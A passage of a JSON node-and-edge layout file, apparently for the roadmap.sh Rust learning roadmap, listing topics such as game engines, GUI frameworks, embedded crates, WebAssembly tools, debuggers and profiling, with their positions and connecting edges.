{\n        \"x\": -711.2922976896841,\n        \"y\": 2743.435641912534\n      }\n    },\n    {\n      \"id\": \"x9bmK_cLYpX0ebwjZUn4R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -616.9348727508243,\n        \"y\": 2743.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"fyrox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qquYnrrzUlyd8738jzj1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -616.9348727508243,\n        \"y\": 2743.435641912534\n      }\n    },\n    {\n      \"id\": \"qquYnrrzUlyd8738jzj1D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -512.5774478119645,\n        \"y\": 2743.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ggez\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 83,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -512.5774478119645,\n        \"y\": 2743.435641912534\n      }\n    },\n    {\n      \"id\": \"EtKhe3lgK3NoiBOjXRb2O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -712.1322659713495,\n        \"y\": 2797.530453988514\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"macroquad\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6wGShK9WEnXiby_Jm8sTO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -712.1322659713495,\n        \"y\": 2797.530453988514\n      }\n    },\n    {\n      \"id\": \"6wGShK9WEnXiby_Jm8sTO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -555.6322659713495,\n        \"y\": 2797.530453988514\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"wgpu-rs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qquYnrrzUlyd8738jzj1D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -555.6322659713495,\n        \"y\": 2797.530453988514\n      }\n    },\n    {\n      \"id\": \"T1LlJz5m5wnwBvKAEuGnP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2662.047621690988\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GUI Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -300.6381872719935,\n        \"y\": 2662.047621690988\n      }\n    },\n    {\n      \"id\": \"Q71MnFDQBkZF1c2hj13pU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -299.0874712538206,\n        \"y\": 2581.215607689768\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"tauri\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QbdGnUoTLgMHO1NCQINIi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -299.0874712538206,\n        \"y\": 2581.215607689768\n      }\n    },\n    {\n      \"id\": \"2Zp3m3Y7j6R1hK3DIVdkH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -224.2592360689243,\n        \"y\": 2581.215607689768\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"gtk-rs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QbdGnUoTLgMHO1NCQINIi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 92,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -224.2592360689243,\n        \"y\": 2581.215607689768\n      }\n    },\n    {\n      \"id\": \"QbdGnUoTLgMHO1NCQINIi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -127.43100088402801,\n        \"y\": 2581.215607689768\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"relm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"width\": 79,\n      \"positionAbsolute\": {\n        \"x\": -127.43100088402801,\n        \"y\": 2581.215607689768\n      }\n    },\n    {\n      \"id\": \"RKXljexmLAceMYwg4D_uP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 51.58542331133775,\n        \"y\": 2662.047621690988\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Embedded and Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 51.58542331133775,\n        \"y\": 2662.047621690988\n      }\n    },\n    {\n      \"id\": \"LzaO2cpDajXERqEYDjMl_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.80188117353809,\n        \"y\": 2524.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"embedded-hal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ETYrk0s5Wn80XyntNG_t1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.80188117353809,\n        \"y\": 2524.7871651675737\n      }\n    },\n    {\n      \"id\": \"L01rVq2_H4rWzlKygW5kA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.649415377168324,\n        \"y\": 2577.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"rppal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ETYrk0s5Wn80XyntNG_t1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 84,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.649415377168324,\n        \"y\": 2577.7871651675737\n      }\n    },\n    {\n      \"id\": \"ETYrk0s5Wn80XyntNG_t1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 195.58542331133776,\n        \"y\": 2577.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"nrf-hal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 195.58542331133776,\n        \"y\": 2577.7871651675737\n      }\n    },\n    {\n      \"id\": \"fusu4ZHH4-cjoouLr4F9U\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 51.58542331133776,\n        \"y\": 2817.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"WebAssembly (WASM)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 51.58542331133776,\n        \"y\": 2817.435641912534\n      }\n    },\n    {\n      \"id\": \"SUtBBqqDeR_yAkr669ZvE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -212.20827066407475,\n        \"y\": 2870.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"wasm-bindgen\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iyFHvZj_ntr_dX6WlL4E1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157\n      },\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -212.20827066407475,\n        \"y\": 2870.435641912534\n      }\n    },\n    {\n      \"id\": \"TSlj7mMUB5CDTy8uMFzKV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -212.20827066407475,\n        \"y\": 2764.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"wasm-pack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iyFHvZj_ntr_dX6WlL4E1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157\n      },\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -212.20827066407475,\n        \"y\": 2764.435641912534\n      }\n    },\n    {\n      \"id\": \"iyFHvZj_ntr_dX6WlL4E1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -212.20827066407475,\n        \"y\": 2817.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"wasmer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157\n      },\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -212.20827066407475,\n        \"y\": 2817.435641912534\n      }\n    },\n    {\n      \"id\": \"7YKWYxogJq6X35IAUwcZF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 51.58542331133776,\n        \"y\": 2977.8309893419987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 51.58542331133776,\n        \"y\": 2977.8309893419987\n      }\n    },\n    {\n      \"id\": \"UkHXsAolmbk-MsJFfqObC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.649415377168324,\n        \"y\": 3052.599323692896\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"rust-gdb\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p1w1iljGABgHoJjIRJYLY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.649415377168324,\n        \"y\": 3052.599323692896\n      }\n    },\n    {\n      \"id\": \"p1w1iljGABgHoJjIRJYLY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 190.58542331133776,\n        \"y\": 3052.599323692896\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"rust-lldb\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 190.58542331133776,\n        \"y\": 3052.599323692896\n      }\n    },\n    {\n      \"id\": \"65nbahPj9qAb9y8dF8Jnd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -304.228964418254,\n        \"y\": 2977.8309893419987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Documenting with `rustdoc`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -304.228964418254,\n        \"y\": 2977.8309893419987\n      }\n    },\n    {\n      \"id\": \"WduD9VIcYSs_JTnuMNyxk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -691.4506681463735,\n        \"y\": 2977.8309893419987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Performance and Profiling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.4506681463735,\n        \"y\": 2977.8309893419987\n      }\n    },\n    {\n      \"id\": \"clQ26LFV_9AdQ4evnaxUK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -636.9506681463735,\n        \"y\": 2887.6225810425703\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Criterion.rs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -636.9506681463735,\n        \"y\": 2887.6225810425703\n      }\n    },\n    {\n      \"id\": \"w_rUaBorHFOY74S0JiEwM\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"CVNNr97eZmGVFZyNVmR9b\",\n            \"label\": \"Backend Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"GoM0EsaFMzWViwio3BucA\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"EW8A9X-9ELclN0pdvRE1G\",\n            \"label\": \"Go Roadmap\",\n            \"url\": \"https://roadmap.sh/golang\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 165\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 160,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-08qKtgnhJ3tlb5JKfTDf5w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6E4pGifNfSAq6SbzfzFNT\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhx2-08qKtgnhJ3tlb5JKfTDf5w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6E4pGifNfSAq6SbzfzFNT\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__6E4pGifNfSAq6SbzfzFNTx2-08qKtgnhJ3tlb5JKfTDf5w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"pTC1ucmErVnMbNFnYLJK7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-pTC1ucmErVnMbNFnYLJK7y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LwqOxYY9E9MUDgz2M40uV\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-LwqOxYY9E9MUDgz2M40uVy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wQHkBydWsiGEOZMdKmz40\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-wQHkBydWsiGEOZMdKmz40y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Zpowr_NGd-E2DC3g-oW9h\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__X2gB0m-ZKSC4TJyIcwsMxx2-08qKtgnhJ3tlb5JKfTDf5w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zpowr_NGd-E2DC3g-oW9h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PkePVzV-b1pgFJP5xID5_\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-PkePVzV-b1pgFJP5xID5_y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zpowr_NGd-E2DC3g-oW9h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"c_SdccEXEJyh4ymWzvCeX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-c_SdccEXEJyh4ymWzvCeXy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zpowr_NGd-E2DC3g-oW9h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Op0-bdMV3kE9Be6Ot1aC6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-Op0-bdMV3kE9Be6Ot1aC6y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"08qKtgnhJ3tlb5JKfTDf5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"pehYc_xLrs6BFUbcpPTiJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5z2-eTpZXd8E2jVBmk_aSLZYVw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pehYc_xLrs6BFUbcpPTiJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zLKbYX0nnbfD5n3P_JRaS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__pehYc_xLrs6BFUbcpPTiJy2-eTpZXd8E2jVBmk_aSLZYVw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zLKbYX0nnbfD5n3P_JRaS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"pRDgDtRIVpNM2CdhSOS3Q\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zLKbYX0nnbfD5n3P_JRaSz2-pRDgDtRIVpNM2CdhSOS3Qy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zLKbYX0nnbfD5n3P_JRaS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_EicstELZcdesHiXFWJGu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zLKbYX0nnbfD5n3P_JRaSz2-_EicstELZcdesHiXFWJGuy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zLKbYX0nnbfD5n3P_JRaS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_hxwo_iAdOwlWBltv7i6i\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        